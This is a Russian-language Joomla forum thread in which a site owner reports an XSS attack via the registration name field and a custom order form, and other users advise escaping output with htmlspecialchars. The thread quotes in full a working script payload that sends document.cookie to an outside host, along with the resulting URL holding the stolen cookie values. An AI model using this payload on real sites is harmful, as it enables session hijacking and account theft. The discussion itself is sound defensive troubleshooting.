Новости Joomla

0 Пользователей и 1 Гость просматривают эту тему.
  • 7 Ответов
  • 2142 Просмотров
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Стоит Joomla 1.5.25 русская. Включено мыло нотификации при регистрации нового юзера.
И сегодня такая ситуация приключилась.
Пришло мыло такого содержания:

Новый пользователь зарегистрирован на сайте *****

Параметры учетной записи:

Имя - '">document.location.replace('http://deineka.ho.ua/gc.php?proc='+document.cookie);
e-mail - asdf@af.com
Логин - asdf

Смотрю появился юзер с таким кодоником.
Внешне ничего не снес, но в сайте есть самописный модуль заказов с текстовыми полями, там вредитель ввел такой код:

Название продукта: <b>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></b>
Ссылка на продукт: <a href="\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>" target=_blank>\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script></a>
Комментарии и пожелания:
\'\"><script>document.location.replace(\'http://deineka.ho.ua/gc.php?proc=\'+document.cookie);</script>

В итоге при входе в заказы, меня перекидывало на данный сайт : http://deineka.ho.ua/gc.php?proc=configuration=system;%20ja_barite_tpl=ja_barite;%20__utma=50448697.909124112.1329591684.1331316799.1331640717.14;%20__utmz=50448697.1329591684.1.1.utmcsr=%28direct%29|utmccn=%28direct%29|utmcmd=%28none%29;%208c146e575de0e2c5c21eec91b78f28f3=9da7a760e7c4766a0467ebfdb09f3913

Удалил через базу заказы и юзера. Все вроде ОК.
Подскажите как не пропускать таких негодяев и код при регистрации.
*

Magnum

  • Захожу иногда
  • 269
  • 14 / 0
  • magnumblog.space
Re: Ввод кода в поле при регистрации
« Ответ #1 : 15.03.2012, 09:37:52 »
Регистрация идет через стандартный модуль Joomla или Virtue?
Я не волшебник. Я всего лишь учусь!
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #2 : 15.03.2012, 12:05:19 »
Стандартный модуль Joomla.
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #3 : 15.03.2012, 12:27:52 »
пароль смените на всякий пожарный =) А так фильтровать надо данные, которые из формы приходят... и при выводе тоже.
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #4 : 15.03.2012, 17:42:13 »
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #5 : 15.03.2012, 18:00:10 »
А как фильтровать ыввод данных при регистрации в стандартном модуле Joomla?
Если я правильно понял, то проблема в заказах, а не в регистрационных данных. Когда заходите в админке в список пользователей - тоже редиректит? Думаю нет. Проблема в вашей самописной форме заказов я думаю.
*

feirdog

  • Захожу иногда
  • 60
  • 0 / 0
Re: Ввод кода в поле при регистрации
« Ответ #6 : 16.03.2012, 13:24:00 »
Проблема как раз в регистрации. Пропустила код.
*

mohax

  • Давно я тут
  • 901
  • 66 / 3
Re: Ввод кода в поле при регистрации
« Ответ #7 : 27.03.2012, 22:18:07 »
Проблема как раз в регистрации. Пропустила код.
ЧТо значит пропустила код? Она их просто заэскейпила и сохранила в базу. А Вы в своем компоненте заказов вместо того чтобы обрабатывать данные перед выводом хотя бы с помощью htmlspecalchars просто вывели эту строку. Вот и косяк. Без кода точно сказать не могу. Но по описанию картина такая.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Новый набег ботов в регистрации сайта... Какой в этом смысл то?

Автор Cedars

Ответов: 11
Просмотров: 2413
Последний ответ 03.11.2020, 17:36:03
от Cedars
Сайты заражаются каждые 10-15 минут. Как остановить нашествие вредоносного кода?

Автор SweetApple

Ответов: 24
Просмотров: 2412
Последний ответ 16.12.2016, 16:33:38
от SweetApple
Защита от автоматической регистрации

Автор vasileo

Ответов: 0
Просмотров: 1086
Последний ответ 14.12.2016, 05:19:14
от vasileo
После запрета регистрации, все равно регистрируются

Автор rafaello9

Ответов: 2
Просмотров: 1364
Последний ответ 25.11.2016, 17:50:19
от flyingspook
Скажите все функции кода )

Автор wishlight

Ответов: 6
Просмотров: 1467
Последний ответ 22.04.2016, 18:00:55
от wishlight